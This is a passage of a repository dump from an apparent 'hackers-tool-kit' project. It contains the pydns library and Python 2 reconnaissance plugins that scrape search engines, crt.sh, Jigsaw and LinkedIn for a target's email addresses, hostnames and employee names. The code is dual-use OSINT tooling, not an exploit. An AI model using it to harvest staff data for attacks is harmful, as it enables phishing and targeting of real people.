3 | # 4 | # This file is part of the pydns project. 5 | # Homepage: http://pydns.sourceforge.net 6 | # 7 | # This code is covered by the standard Python License. 8 | # 9 | 10 | # __init__.py for DNS class. 11 | 12 | __version__ = '2.3.1' 13 | 14 | import Type 15 | import Opcode 16 | import Status 17 | import Class 18 | from Base import DnsRequest, DNSError 19 | from Lib import DnsResult 20 | from Base import * 21 | from Lib import * 22 | Error = DNSError 23 | from lazy import * 24 | Request = DnsRequest 25 | Result = DnsResult 26 | 27 | # 28 | # $Log: __init__.py,v $ 29 | # Revision 1.8.2.2 2007/05/22 21:06:52 customdesigned 30 | # utf-8 in __init__.py 31 | # 32 | # Revision 1.8.2.1 2007/05/22 20:39:20 customdesigned 33 | # Release 2.3.1 34 | # 35 | # Revision 1.8 2002/05/06 06:17:49 anthonybaxter 36 | # found that the old README file called itself release 2.2. So make 37 | # this one 2.3... 38 | # 39 | # Revision 1.7 2002/05/06 06:16:15 anthonybaxter 40 | # make some sort of reasonable version string. releasewards ho! 41 | # 42 | # Revision 1.6 2002/03/19 13:05:02 anthonybaxter 43 | # converted to class based exceptions (there goes the python1.4 compatibility :) 44 | # 45 | # removed a quite gross use of 'eval()'. 46 | # 47 | # Revision 1.5 2002/03/19 12:41:33 anthonybaxter 48 | # tabnannied and reindented everything. 4 space indent, no tabs. 49 | # yay. 50 | # 51 | # Revision 1.4 2001/11/26 17:57:51 stroeder 52 | # Added __version__ 53 | # 54 | # Revision 1.3 2001/08/09 09:08:55 anthonybaxter 55 | # added identifying header to top of each file 56 | # 57 | # Revision 1.2 2001/07/19 06:57:07 anthony 58 | # cvs keywords added 59 | # 60 | # 61 | -------------------------------------------------------------------------------- /plugins/discovery/DNS/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/__init__.pyc -------------------------------------------------------------------------------- /plugins/discovery/DNS/lazy.py: -------------------------------------------------------------------------------- 1 | # $Id: lazy.py,v 1.5.2.1 2007/05/22 20:23:38 customdesigned Exp $ 2 | # 3 | # This file is part of the pydns project. 4 | # Homepage: http://pydns.sourceforge.net 5 | # 6 | # This code is covered by the standard Python License. 7 | # 8 | 9 | # routines for lazy people. 10 | import Base 11 | import string 12 | 13 | 14 | def revlookup(name): 15 | "convenience routine for doing a reverse lookup of an address" 16 | if Base.defaults['server'] == []: 17 | Base.DiscoverNameServers() 18 | a = string.split(name, '.') 19 | a.reverse() 20 | b = string.join(a, '.') + '.in-addr.arpa' 21 | # this will only return one of any records returned. 22 | return Base.DnsRequest(b, qtype='ptr').req().answers[0]['data'] 23 | 24 | 25 | def mxlookup(name): 26 | """ 27 | convenience routine for doing an MX lookup of a name. returns a 28 | sorted list of (preference, mail exchanger) records 29 | """ 30 | if Base.defaults['server'] == []: 31 | Base.DiscoverNameServers() 32 | a = Base.DnsRequest(name, qtype='mx').req().answers 33 | l = sorted(map(lambda x: x['data'], a)) 34 | return l 35 | 36 | # 37 | # $Log: lazy.py,v $ 38 | # Revision 1.5.2.1 2007/05/22 20:23:38 customdesigned 39 | # Lazy call to DiscoverNameServers 40 | # 41 | # Revision 1.5 2002/05/06 06:14:38 anthonybaxter 42 | # reformat, move import to top of file. 43 | # 44 | # Revision 1.4 2002/03/19 12:41:33 anthonybaxter 45 | # tabnannied and reindented everything. 4 space indent, no tabs. 46 | # yay. 47 | # 48 | # Revision 1.3 2001/08/09 09:08:55 anthonybaxter 49 | # added identifying header to top of each file 50 | # 51 | # Revision 1.2 2001/07/19 06:57:07 anthony 52 | # cvs keywords added 53 | # 54 | # 55 | -------------------------------------------------------------------------------- /plugins/discovery/DNS/lazy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/DNS/lazy.pyc -------------------------------------------------------------------------------- /plugins/discovery/IPy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/IPy.pyc -------------------------------------------------------------------------------- /plugins/discovery/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ["bingsearch", 2 | "googlesearch", 3 | "googleplussearch", 4 | "pgpsearch", 5 | "linkedinsearch", 6 | "exaleadsearch", 7 | "yandexsearch", 8 | "googlesets", 9 | "dnssearch", 10 | "shodansearch", 11 | "jigsaw", 12 | "twittersearch", 13 | "dogpilesearch", 14 | "baidusearch", 15 | "yahoosearch", 16 | "netcraft", 17 | "crtsh", 18 | "virustotal", 19 | "googleCSE"] 20 | -------------------------------------------------------------------------------- /plugins/discovery/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/__init__.pyc -------------------------------------------------------------------------------- /plugins/discovery/asksearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_ask: 9 | 10 | def __init__(self, word, limit): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.ask.com" 15 | self.hostname = "www.ask.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 17 | self.quantity = "100" 18 | self.limit = int(limit) 19 | self.counter = 0 20 | 21 | def do_search(self): 22 | h = httplib.HTTP(self.server) 23 | h.putrequest( 24 | 'GET', 25 | "/web?q=%40" + 26 | self.word + 27 | "&pu=100&page=" + 28 | self.counter) 29 | h.putheader('User-agent', self.userAgent) 30 | h.endheaders() 31 | returncode, returnmsg, headers = h.getreply() 32 | self.results = h.getfile().read() 33 | self.totalresults += self.results 34 | 35 | def check_next(self): 36 | renext = re.compile('> Next <') 37 | nextres = renext.findall(self.results) 38 | if nextres != []: 39 | nexty = "1" 40 | else: 41 | nexty = "0" 42 | return nexty 43 | 44 | def get_people(self): 45 | rawres = myparser.parser(self.totalresults, self.word) 46 | return rawres.people_jigsaw() 47 | 48 | def process(self): 49 | while (self.counter < self.limit): 50 | self.do_search() 51 | more = self.check_next() 52 | if more == "1": 53 | self.counter += 100 54 | else: 55 | break 56 | -------------------------------------------------------------------------------- /plugins/discovery/baidusearch.py: -------------------------------------------------------------------------------- 1 | import httplib 2 | import myparser 3 | import time 4 | import sys 5 | 6 | 7 | class search_baidu: 8 | 9 | def __init__(self, word, limit): 10 | self.word = word 11 | self.total_results = "" 12 | self.server = "www.baidu.com" 13 | self.hostname = "www.baidu.com" 14 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 15 | self.limit = limit 16 | self.counter = 0 17 | 18 | def do_search(self): 19 | h = httplib.HTTP(self.server) 20 | 21 | h.putrequest('GET', "/s?wd=%40" + self.word 22 | + "&pn=" + str(self.counter)) 23 | h.putheader('Host', self.hostname) 24 | h.putheader('User-agent', self.userAgent) 25 | h.endheaders() 26 | returncode, returnmsg, headers = h.getreply() 27 | 28 | self.total_results += h.getfile().read() 29 | 30 | def process(self): 31 | while self.counter <= self.limit and self.counter <= 1000: 32 | self.do_search() 33 | time.sleep(1) 34 | 35 | print "\tSearching " + str(self.counter) + " results..." 36 | self.counter += 10 37 | 38 | def get_emails(self): 39 | rawres = myparser.parser(self.total_results, self.word) 40 | return rawres.emails() 41 | 42 | def get_hostnames(self): 43 | rawres = myparser.parser(self.total_results, self.word) 44 | return rawres.hostnames() 45 | -------------------------------------------------------------------------------- /plugins/discovery/baidusearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/baidusearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/bingsearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | import time 7 | 8 | 9 | class search_bing: 10 | 11 | def __init__(self, word, limit, start): 12 | self.word = word.replace(' ', '%20') 13 | self.results = "" 14 | self.totalresults = "" 15 | self.server = "www.bing.com" 16 | self.apiserver = "api.search.live.net" 17 | self.hostname = "www.bing.com" 18 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 19 | self.quantity = "50" 20 | self.limit = int(limit) 21 | self.bingApi = "" 22 | self.counter = start 23 | 24 | def do_search(self): 25 | h = httplib.HTTP(self.server) 26 | h.putrequest('GET', "/search?q=%40" + self.word + 27 | "&count=50&first=" + str(self.counter)) 28 | h.putheader('Host', self.hostname) 29 | h.putheader('Cookie', 'SRCHHPGUSR=ADLT=DEMOTE&NRSLT=50') 30 | h.putheader('Accept-Language', 'en-us,en') 31 | h.putheader('User-agent', self.userAgent) 32 | h.endheaders() 33 | returncode, returnmsg, headers = h.getreply() 34 | self.results = h.getfile().read() 35 | self.totalresults += self.results 36 | 37 | def do_search_api(self): 38 | h = httplib.HTTP(self.apiserver) 39 | h.putrequest('GET', "/xml.aspx?Appid=" + self.bingApi + "&query=%40" + 40 | self.word + "&sources=web&web.count=40&web.offset=" + str(self.counter)) 41 | h.putheader('Host', "api.search.live.net") 42 | h.putheader('User-agent', self.userAgent) 43 | h.endheaders() 44 | returncode, returnmsg, headers = h.getreply() 45 | self.results = h.getfile().read() 46 | self.totalresults += self.results 47 | 48 | def do_search_vhost(self): 49 | h = httplib.HTTP(self.server) 50 | h.putrequest('GET', "/search?q=ip:" + self.word + 51 | "&go=&count=50&FORM=QBHL&qs=n&first=" + str(self.counter)) 52 | h.putheader('Host', self.hostname) 53 | h.putheader( 54 | 'Cookie', 'mkt=en-US;ui=en-US;SRCHHPGUSR=NEWWND=0&ADLT=DEMOTE&NRSLT=50') 55 | h.putheader('Accept-Language', 'en-us,en') 56 | h.putheader('User-agent', self.userAgent) 57 | h.endheaders() 58 | returncode, returnmsg, headers = h.getreply() 59 | self.results = h.getfile().read() 60 | self.totalresults += self.results 61 | 62 | def get_emails(self): 63 | rawres = myparser.parser(self.totalresults, self.word) 64 | return rawres.emails() 65 | 66 | def get_hostnames(self): 67 | rawres = myparser.parser(self.totalresults, self.word) 68 | return rawres.hostnames() 69 | 70 | def get_allhostnames(self): 71 | rawres = myparser.parser(self.totalresults, self.word) 72 | return rawres.hostnames_all() 73 | 74 | def process(self, api): 75 | if api == "yes": 76 | if self.bingApi == "": 77 | print "Please insert your API key in the discovery/bingsearch.py" 78 | sys.exit() 79 | while (self.counter < self.limit): 80 | if api == "yes": 81 | self.do_search_api() 82 | time.sleep(0.3) 83 | else: 84 | self.do_search() 85 | time.sleep(1) 86 | self.counter += 50 87 | 88 | def process_vhost(self): 89 | # Maybe it is good to use other limit for this. 90 | while (self.counter < self.limit): 91 | self.do_search_vhost() 92 | self.counter += 50 93 | -------------------------------------------------------------------------------- /plugins/discovery/bingsearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/bingsearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/crtsh.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_crtsh: 9 | 10 | def __init__(self, word): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.hostname = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100116 Firefox/3.7" 17 | self.quantity = "100" 18 | self.counter = 0 19 | 20 | 21 | def do_search(self): 22 | try: 23 | urly="https://crt.sh/?q=%25" + self.word 24 | except Exception, e: 25 | print e 26 | headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'} 27 | try: 28 | r=requests.get(urly,headers=headers) 29 | except Exception,e: 30 | print e 31 | self.results = r.content 32 | self.totalresults += self.results 33 | 34 | def get_hostnames(self): 35 | rawres = myparser.parser(self.results, self.word) 36 | return rawres.hostnames() 37 | 38 | def process(self): 39 | self.do_search() 40 | print "\tSearching CRT.sh results.." 41 | -------------------------------------------------------------------------------- /plugins/discovery/crtsh.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/crtsh.pyc -------------------------------------------------------------------------------- /plugins/discovery/dnssearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/dnssearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/dogpilesearch.py: -------------------------------------------------------------------------------- 1 | import httplib 2 | import myparser 3 | import time 4 | import sys 5 | 6 | 7 | class search_dogpile: 8 | 9 | def __init__(self, word, limit): 10 | self.word = word 11 | self.total_results = "" 12 | self.server = "www.dogpile.com" 13 | self.hostname = "www.dogpile.com" 14 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 15 | self.limit = limit 16 | self.counter = 0 17 | 18 | def do_search(self): 19 | h = httplib.HTTP(self.server) 20 | 21 | # Dogpile is hardcoded to return 10 results 22 | h.putrequest('GET', "/search/web?qsi=" + str(self.counter) 23 | + "&q=\"%40" + self.word + "\"") 24 | h.putheader('Host', self.hostname) 25 | h.putheader('User-agent', self.userAgent) 26 | h.endheaders() 27 | returncode, returnmsg, headers = h.getreply() 28 | 29 | self.total_results += h.getfile().read() 30 | 31 | def process(self): 32 | while self.counter <= self.limit and self.counter <= 1000: 33 | self.do_search() 34 | time.sleep(1) 35 | 36 | print "\tSearching " + str(self.counter) + " results..." 37 | self.counter += 10 38 | 39 | def get_emails(self): 40 | rawres = myparser.parser(self.total_results, self.word) 41 | return rawres.emails() 42 | 43 | def get_hostnames(self): 44 | rawres = myparser.parser(self.total_results, self.word) 45 | return rawres.hostnames() 46 | -------------------------------------------------------------------------------- /plugins/discovery/dogpilesearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/dogpilesearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/exaleadsearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | import time 7 | 8 | 9 | class search_exalead: 10 | 11 | def __init__(self, word, limit, start): 12 | self.word = word 13 | self.files = "pdf" 14 | self.results = "" 15 | self.totalresults = "" 16 | self.server = "www.exalead.com" 17 | self.hostname = "www.exalead.com" 18 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/4.0" 19 | self.limit = limit 20 | self.counter = start 21 | 22 | def do_search(self): 23 | h = httplib.HTTP(self.server) 24 | h.putrequest('GET', "/search/web/results/?q=%40" + self.word + 25 | "&elements_per_page=50&start_index=" + str(self.counter)) 26 | h.putheader('Host', self.hostname) 27 | h.putheader( 28 | 'Referer', 29 | "http://" + 30 | self.hostname + 31 | "/search/web/results/?q=%40" + 32 | self.word) 33 | h.putheader('User-agent', self.userAgent) 34 | h.endheaders() 35 | returncode, returnmsg, headers = h.getreply() 36 | self.results = h.getfile().read() 37 | self.totalresults += self.results 38 | 39 | def do_search_files(self, files): 40 | h = httplib.HTTP(self.server) 41 | h.putrequest( 42 | 'GET', 43 | "search/web/results/?q=" + 44 | self.word + 45 | "filetype:" + 46 | self.files + 47 | "&elements_per_page=50&start_index=" + 48 | self.counter) 49 | h.putheader('Host', self.hostname) 50 | h.putheader('User-agent', self.userAgent) 51 | h.endheaders() 52 | returncode, returnmsg, headers = h.getreply() 53 | self.results = h.getfile().read() 54 | self.totalresults += self.results 55 | 56 | def check_next(self): 57 | renext = re.compile('topNextUrl') 58 | nextres = renext.findall(self.results) 59 | if nextres != []: 60 | nexty = "1" 61 | print str(self.counter) 62 | else: 63 | nexty = "0" 64 | return nexty 65 | 66 | def get_emails(self): 67 | rawres = myparser.parser(self.totalresults, self.word) 68 | return rawres.emails() 69 | 70 | def get_hostnames(self): 71 | rawres = myparser.parser(self.totalresults, self.word) 72 | return rawres.hostnames() 73 | 74 | def get_files(self): 75 | rawres = myparser.parser(self.totalresults, self.word) 76 | return rawres.fileurls(self.files) 77 | 78 | def process(self): 79 | while self.counter <= self.limit: 80 | self.do_search() 81 | self.counter += 50 82 | 83 | def process_files(self, files): 84 | while self.counter < self.limit: 85 | self.do_search_files(files) 86 | time.sleep(1) 87 | more = self.check_next() 88 | if more == "1": 89 | self.counter += 50 90 | else: 91 | break 92 | -------------------------------------------------------------------------------- /plugins/discovery/exaleadsearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/exaleadsearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/googleCSE.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | import time 7 | 8 | 9 | class search_googleCSE: 10 | 11 | def __init__(self, word, limit, start): 12 | self.word = word 13 | self.files = "pdf" 14 | self.results = "" 15 | self.totalresults = "" 16 | self.server = "www.googleapis.com" 17 | self.hostname = "www.googleapis.com" 18 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 19 | self.quantity = "10" 20 | self.limit = limit 21 | self.counter = 1 22 | self.api_key = "" 23 | self.cse_id = "" 24 | self.lowRange = start 25 | self.highRange = start+100 26 | 27 | def do_search(self): 28 | h = httplib.HTTPS(self.server) 29 | h.putrequest('GET', "/customsearch/v1?key=" + self.api_key +"&highRange=" + str(self.highRange) + "&lowRange=" + str(self.lowRange) + "&cx=" +self.cse_id + 30 | "&start=" + str(self.counter) + "&q=%40\"" + self.word + "\"") 31 | h.putheader('Host', self.server) 32 | h.putheader('User-agent', self.userAgent) 33 | h.endheaders() 34 | returncode, returnmsg, headers = h.getreply() 35 | self.results = h.getfile().read() 36 | self.totalresults += self.results 37 | 38 | def do_search_files(self): 39 | h = httplib.HTTPS(self.server) 40 | h.putrequest('GET', "/customsearch/v1?key=" + self.api_key +"&highRange=" + str(self.highRange) + "&lowRange=" + str(self.lowRange) + "&cx=" +self.cse_id + 41 | "&start=" + str(self.counter) + "&q=filetype:" + files +"%20site:" + self.word) 42 | h.putheader('Host', self.server) 43 | h.putheader('User-agent', self.userAgent) 44 | h.endheaders() 45 | returncode, returnmsg, headers = h.getreply() 46 | self.results = h.getfile().read() 47 | self.totalresults += self.results 48 | 49 | 50 | def check_next(self): 51 | renext = re.compile('> Next <') 52 | nextres = renext.findall(self.results) 53 | if nextres != []: 54 | nexty = "1" 55 | else: 56 | nexty = "0" 57 | return nexty 58 | 59 | def get_emails(self): 60 | rawres = myparser.parser(self.totalresults, self.word) 61 | return rawres.emails() 62 | 63 | def get_hostnames(self): 64 | rawres = myparser.parser(self.totalresults, self.word) 65 | return rawres.hostnames() 66 | 67 | def get_files(self): 68 | rawres = myparser.parser(self.totalresults, self.word) 69 | return rawres.fileurls(self.files) 70 | 71 | 72 | def process(self): 73 | tracker=self.counter + self.lowRange 74 | while tracker <= self.limit: 75 | self.do_search() 76 | #time.sleep(1) 77 | ESC=chr(27) 78 | sys.stdout.write(ESC + '[2K' + ESC+'[G') 79 | sys.stdout.write("\r\t" + "Searching " + str(self.counter+self.lowRange) + " results ..." ) 80 | sys.stdout.flush() 81 | #print "\tSearching " + str(self.counter+self.lowRange) + " results...\t\t\t\t\t\r" 82 | if self.counter == 101: 83 | self.counter = 1 84 | self.lowRange +=100 85 | self.highRange +=100 86 | else: 87 | self.counter += 10 88 | tracker=self.counter + self.lowRange 89 | 90 | def store_results(self): 91 | filename = "debug_results.txt" 92 | file = open(filename, 'w') 93 | file.write(self.totalresults) 94 | 95 | 96 | def process_files(self, files): 97 | while self.counter <= self.limit: 98 | self.do_search_files(files) 99 | time.sleep(1) 100 | self.counter += 100 101 | print "\tSearching " + str(self.counter) + " results..." 102 | -------------------------------------------------------------------------------- /plugins/discovery/googleCSE.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/googleCSE.pyc -------------------------------------------------------------------------------- /plugins/discovery/googleplussearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_googleplus: 9 | 10 | def __init__(self, word, limit): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.hostname = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 17 | self.quantity = "100" 18 | self.limit = int(limit) 19 | self.counter = 0 20 | 21 | def do_search(self): 22 | try: 23 | urly="https://" + self.server + "/search?num=100&start=" + str(self.counter) + "&hl=en&meta=&q=site%3Aplus.google.com%20intext%3A%22Works%20at%22%20" + self.word+ "%20-inurl%3Aphotos%20-inurl%3Aabout%20-inurl%3Aposts%20-inurl%3Aplusones" 24 | except Exception, e: 25 | print e 26 | try: 27 | headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0'} 28 | r=requests.get(urly,headers=headers) 29 | except Exception,e: 30 | print e 31 | self.results = r.content 32 | self.totalresults += self.results 33 | 34 | def get_people(self): 35 | rawres = myparser.parser(self.totalresults, self.word) 36 | return rawres.people_googleplus() 37 | 38 | def process(self): 39 | while (self.counter < self.limit): 40 | self.do_search() 41 | self.counter += 100 42 | print "\tSearching " + str(self.counter) + " results.." 43 | -------------------------------------------------------------------------------- /plugins/discovery/googleplussearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/googleplussearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/googlesearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import sys 3 | import myparser 4 | import re 5 | import time 6 | import requests 7 | 8 | 9 | class search_google: 10 | 11 | def __init__(self, word, limit, start): 12 | self.word = word 13 | self.results = "" 14 | self.totalresults = "" 15 | self.server = "www.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 17 | self.quantity = "100" 18 | self.limit = limit 19 | self.counter = start 20 | 21 | def do_search(self): 22 | try: 23 | urly = "http://" + self.server + "/search?num=" + self.quantity + \ 24 | "&start=" + str(self.counter) + \ 25 | "&hl=en&meta=&q=%40\"" + self.word + "\"" 26 | except Exception, e: 27 | print e 28 | try: 29 | r = requests.get(urly) 30 | except Exception, e: 31 | print e 32 | self.results = r.content 33 | self.totalresults += self.results 34 | 35 | def do_search_profiles(self): 36 | try: 37 | urly = "http://" + self.server + "/search?num=" + self.quantity + "&start=" + \ 38 | str(self.counter) + "&hl=en&meta=&q=site:www.google.com%20intitle:\"Google%20Profile\"%20\"Companies%20I%27ve%20worked%20for\"%20\"at%20" + self.word + "\"" 39 | except Exception, e: 40 | print e 41 | try: 42 | r = requests.get(urly) 43 | except Exception, e: 44 | print e 45 | self.results = r.content 46 | 47 | #'&hl=en&meta=&q=site:www.google.com%20intitle:"Google%20Profile"%20"Companies%20I%27ve%20worked%20for"%20"at%20' + self.word + '"') 48 | self.totalresults += self.results 49 | 50 | def get_emails(self): 51 | rawres = myparser.parser(self.totalresults, self.word) 52 | return rawres.emails() 53 | 54 | def get_hostnames(self): 55 | rawres = myparser.parser(self.totalresults, self.word) 56 | return rawres.hostnames() 57 | 58 | def get_files(self): 59 | rawres = myparser.parser(self.totalresults, self.word) 60 | return rawres.fileurls(self.files) 61 | 62 | def get_profiles(self): 63 | rawres = myparser.parser(self.totalresults, self.word) 64 | return rawres.profiles() 65 | 66 | def process(self): 67 | while self.counter <= self.limit and self.counter <= 1000: 68 | self.do_search() 69 | #more = self.check_next() 70 | time.sleep(1) 71 | self.counter += 100 72 | 73 | def process_profiles(self): 74 | while self.counter < self.limit: 75 | self.do_search_profiles() 76 | time.sleep(0.3) 77 | self.counter += 100 78 | -------------------------------------------------------------------------------- /plugins/discovery/googlesearch.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/googlesearch.pyc -------------------------------------------------------------------------------- /plugins/discovery/googlesets.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | import time 7 | 8 | 9 | class search_google_labs: 10 | 11 | def __init__(self, list): 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "labs.google.com" 15 | self.hostname = "labs.google.com" 16 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 17 | id = 0 18 | self.set = "" 19 | for x in list: 20 | id += 1 21 | if id == 1: 22 | self.set = self.set + "q" + str(id) + "=" + str(x) 23 | else: 24 | self.set = self.set + "&q" + str(id) + "=" + str(x) 25 | 26 | def do_search(self): 27 | h = httplib.HTTP(self.server) 28 | h.putrequest('GET', "/sets?hl=en&" + self.set) 29 | h.putheader('Host', self.hostname) 30 | h.putheader('User-agent', self.userAgent) 31 | h.endheaders() 32 | returncode, returnmsg, headers = h.getreply() 33 | self.results = h.getfile().read() 34 | self.totalresults += self.results 35 | 36 | def get_set(self): 37 | rawres = myparser.parser(self.totalresults, list) 38 | return rawres.set() 39 | 40 | def process(self): 41 | self.do_search() 42 | -------------------------------------------------------------------------------- /plugins/discovery/googlesets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/googlesets.pyc -------------------------------------------------------------------------------- /plugins/discovery/jigsaw.py: -------------------------------------------------------------------------------- 1 | import string 2 | import httplib 3 | import sys 4 | import myparser 5 | import re 6 | # http://www.jigsaw.com/SearchAcrossCompanies.xhtml?opCode=refresh&rpage=4&mode=0&cnCountry=&order=0&orderby=0&cmName=accuvant&cnDead=false&cnExOwned=false&count=0&screenNameType=0&screenName=&omitScreenNameType=0&omitScreenName=&companyId=0&estimatedCount=277&rowsPerPage=50 7 | 8 | 9 | class search_jigsaw: 10 | 11 | def __init__(self, word, limit): 12 | self.word = word.replace(' ', '%20') 13 | self.results = "" 14 | self.totalresults = "" 15 | self.server = "www.jigsaw.com" 16 | self.hostname = "www.jigsaw.com" 17 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 18 | self.quantity = "100" 19 | self.limit = int(limit) 20 | self.counter = 0 21 | 22 | def do_search(self): 23 | h = httplib.HTTP(self.server) 24 | h.putrequest( 25 | 'GET', 26 | "/FreeTextSearch.xhtml?opCode=search&autoSuggested=True&freeText=" + 27 | self.word) 28 | h.putheader('User-agent', self.userAgent) 29 | h.endheaders() 30 | returncode, returnmsg, headers = h.getreply() 31 | self.results = h.getfile().read() 32 | self.totalresults += self.results 33 | 34 | def check_next(self): 35 | renext = re.compile('> Next <') 36 | nextres = renext.findall(self.results) 37 | if nextres != []: 38 | nexty = "1" 39 | else: 40 | nexty = "0" 41 | return nexty 42 | 43 | def get_people(self): 44 | rawres = myparser.parser(self.totalresults, self.word) 45 | return rawres.people_jigsaw() 46 | 47 | def process(self): 48 | while (self.counter < self.limit): 49 | self.do_search() 50 | more = self.check_next() 51 | if more == "1": 52 | self.counter += 100 53 | else: 54 | break 55 | -------------------------------------------------------------------------------- /plugins/discovery/jigsaw.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unkn0wnh4ckr/hackers-tool-kit/34dbabf3e94825684fd1a684f522d3dc3565eb2d/plugins/discovery/jigsaw.pyc -------------------------------------------------------------------------------- /plugins/discovery/linkedinsearch.py: -------------------------------------------------------------------------------- 1 | import string 2 | import requests 3 | import sys 4 | import myparser 5 | import re 6 | 7 | 8 | class search_linkedin: 9 | 10 | def __init__(self, word, limit): 11 | self.word = word.replace(' ', '%20') 12 | self.results = "" 13 | self.totalresults = "" 14 | self.server = "www.google.com" 15 | self.userAgent = "(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 16 | self.quantity = "100" 17 | self.limit = int(limit) 18 | self.counter = 0 19 | 20 | def do_search(self): 21 | try: 22 | urly = "http://" + self.server + "/search?num=100&start=" + \ 23 | str(self.counter) + \ 24 | "&hl=en&meta=&q=site%3Alinkedin.com/in%20" + self.word 25 | except Exception, e: 26 | print e 27 | try: 28 | r = requests.get(urly) 29 | except Exception, e: 30 | print e 31 | self.results = r.content 32 | self.totalresults += self.results 33 | 34 | def 